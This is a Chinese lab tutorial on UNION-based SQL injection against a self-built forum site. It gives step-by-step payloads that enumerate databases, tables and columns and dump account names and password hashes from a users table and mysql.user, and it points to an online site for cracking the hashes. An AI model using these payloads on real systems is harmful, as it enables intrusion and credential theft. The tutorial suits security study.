union查询注入是最基础的注入。在SQL中, UNION 操作符用于合并两个或多个 SELECT 语句的结果。union 查询注入利用 UNION 关键字可以追加一条或者多条额外的 SELECT 查询,并将结果追加到原始查询中。联合查询会“纵向”拼接两个或多个 SELECT 语句的结果。
(1)网页存在注入点,有回显。
(2)需要满足union语句要求,即:
注意,当数据类型为字符时,可以使用编码将字符转化为数字类型。
(1)首先判断是否存在注入点及注入的类型。
(2)使用ORDER BY 查询列数、观察回显的位置。
(3)获取数据库名。
(4)获取数据库中的所有表名。
(5)获取数据库的表中的所有字段名
(6)获取字段中的数据。
在最后一个select语句后可以使用 order by 或 limit 等SQL语句对查询进行限制和调整。
实验靶场——虚拟机(IP为172.16.1.1):本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站,win2008及phpstudy的安装过程可以参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,网站的搭建过程可以参考《【(SQL+HTML+PHP)综合】一个简单论坛网站的综合开发案例》
注入工具——真实机:本实验利用火狐浏览器来实现union注入,为方便注入过程的编码,建议安装一个扩展插件harkbar,安装过程参考《HackBar免费版安装方法》由于该教程中的2.1.3harkbar我安装后无法正常使用,就安装了HackBar Quantum来代替。安装后出现下图左侧的东西。
在执行sql语句的时候,可以考虑火狐浏览器的插件HackBar Quantum。
在该阶段主要是尝试不同的输入参数,根据网页反馈信息来判断是否存在SQL注入点以及注入类型,如是否是字符型还是数值型,是否有布尔状态,是否存在延迟注入等。首先用浏览器访问我们的留言论坛,并点击第一条留言进入测试界面。然后判断是否存在注入点及注入的类型。
(1)将参数修改为?id=5
,并刷新,看到页面变化如下,弹出第5条留言内容,由此可推测见后台是根据id参数的不同来反馈不同信息,因此推测留言内容极有可能是存在数据库中,可控参数id与数据库存在交互,很可能存在sql注入。
(2)判断注入类型为字符型还是数字型。将参数修改为?id=5'
或id=5"
,并刷新,看到页面变化如下。说明此注入点可能为数字型注入。
select * from table where id=$id
。假如id为数字型,则sql语句为select * from table where id=5
,当输入?id=5‘
,时,sql语句变为select * from table where id=5'
,说明单引号之前都是正确的,说明单引号是多余的。(1)order by 语句为按某一列的顺序进行排序,在此处我们利用该语句来判断select查询结果集中有多少列,当order by 参数超过其结果集列数时,会出错。修改参数为?id=5 order by 2
,结果与?id=5
一样,可以猜测是回显数据至少有2列。(order by 2指按照第2列进行排序)
(2)修改参数为?id=5 order by 列数
,列数依次增加。当参数修改为?id=5 order by 4
,回显结果正常,但是当参数修改为?id=5 order by 5
,出现报错结果,说明当前select语句查询结果中字段个数为4,即有4列。
(3)当ORDER BY 无法使用时,也可以用?id=5 union select 1,2,3,4
或?id=5 union select null,null,null,null
,当使回显结果与?id=5
一致时,数数字的个数或者null的个数,即为列数。
得到字段个数后,可以尝试构造联合查询语句。
这里我并不知道表明,根据mysql数据库特性,select语句在执行过程中,并不需要指定表名。
(1)我们构造union select语句为?id=5 union select 1,2,3,4
。试图显示联合查询的内容,结果发现与原来一致,这是因为id=5为真,后台返回了id=5的页面时就占用了页面可以显示的区域,导致第二个select语句的结果集无法显示。
(2)我们可以考虑让union前一句语句的查询为假,没有回显内容,则后台将返回第二个select语句的结果集。因此构造sql语句:?id=-5 union select 1,2,3,4
.可以看到第2第3第4个参数均显示出来,这三个参数可以用来查询后台的一些信息。
(3)我们可以构造sql语句为?id=-5 union select 1,2,3,version()
,来利用第4个显示位带回后台的版本信息。至此我们成功利用union语句带回了WEB开发者意愿之外的内容。
tips:
select 1,2,3,4
(1)我们可以构造sql语句为?id=-5 union select 1,2,version(),database()
,来利用第3个和4个显示位带回后台的该网站所在数据库信息。可以看到确实是我们搭建网站时所用的数据库。
(2)在《【SQL注入-01】SQL语句基础及SQL注入漏洞原理及分类》中我们知道,元数据库中有个表schemata记录所有数据库的信息。该表中字段名schema_name记录着所有数据库的名字,我们可以通过该表获取其他数据库信息。我们修改参数为?id=-5 union select 1,2,3,group_concat(schema_name) from information_schema.schemata
,回显如下,带回了该服务器所有数据库名字,包括该站点之外的数据库也可以看到,说明union联合查询可以跨库查询。
注意,在元数据库中,有information_schema.tables表格存放着所有表格的信息,其中有table_schema字段记录表格所属数据库,有table_name记录着表格名字。union联合查询可以跨库跨表查询。
(1)获取jrlt数据库下的所有表名。我们构造sql语句为?id=-5 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema = database()
来获取当前数据库下的所有表名。注意,在页面中尽量避免使用字符串,因此用函数database()来代替上节中查到的数据库名。users表中可能存在用户账密。(也可以用该sql语句:?id=-5 union select 1,2,3,hex(table_name) from information_schema.tables where table_schema = database()
,hex为16进制编码,之后用burp suite进行解码)。
(2)获取mysql数据库下的所有表名。根据上节我们查到的所有数据库名,猜测数据库管理员的账密可能存在mysql数据库下,因此我们构造sql语句为?id=-5 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema = 'mysql'
来获取mysql数据库下的所有表名,其中mysql前后需要加上单引号表示为字符串。可以看到返回了该数据库下所有表名,这些是跨出了我们访问的站点之外的表,看到其中有一个表名为user,可能会记录着敏感信息。注意,上述sql语句中使用了单引号,为了避免单引号的使用,我们一般把字符转换成16进制编码,即?id=-5 union select 1,2,version(),group_concat(table_name) from information_schema.tables where table_schema=0x6d7973716c
,其中0x为了说明是16进制,6d7973716c为mysql的16进制。
在元数据库中,有information_schema.colunms存储所有字段信息。该表主要字段名如下:
(1)获取jrlt数据库下对应表中的的所有字段名。在jrlt数据库中,在上述查询后我们知道有一个表名为users,我们构造sql语句为为?id=-5 union select 1,2,version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273
来获取users表的字段名。其中,0x7573657273为users的16进制,是为了避免出现单双引号。可以看到里面有name和password两个字段,这是下一步我们要获取的目标。
(2)获取mysql数据库下对应表中的的所有字段名。同样的,在mysql数据库中有一个表名为user,我们构造sql语句为为?id=-5 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=0x6d7973716c and table_name =0x75736572
来获取该表的字段名。其中,mysql数据库名和user表名采用16进制表示。可以看到里面有User和Password两个字段,这是下一步我们要获取的目标。
(1)获取jrlt数据库下的想要的字段内容。
我们构造sql语句为?id=-5 union select 1,2,3,concat(name,':',password) from users
来获取users表中的两个字段内容。其中a是账号名,后面那一串是经过加密后的密码。注意,参数中的冒号可以转为使用16进制编码,如将’:'改为0x3a。
此处用户密码没有加密。但是一般的密码均会进行加密,将加密后的密文复制到https://www.cmd5.com/网页中可以进行在线解密。
在上述命令中,我们查询到的是第一个账户和密码,可以使用limit显示select查询的是第几个。修改参数为?id=-5 union select 1,2,3,concat(name,0x3a,password) from users limit 1,1
,limit第一个参数是偏移量,偏移量1表示第二个账户,第二个参数是个数,表示一个。
(2)获取mysql数据库下的想要的字段内容。
?id=-5 union select 1,2,version(),concat(User,0x3a,Password) from mysql.user
,返回账户名和加密后的密码。(1)理解union联合查询的限制条件;
(2)掌握union联合查询注入的原理及流程;
(3)查询语句中尽可能减少字符串的使用,可以通过使用SQL内置函数或转为16进制码避免字符串的使用。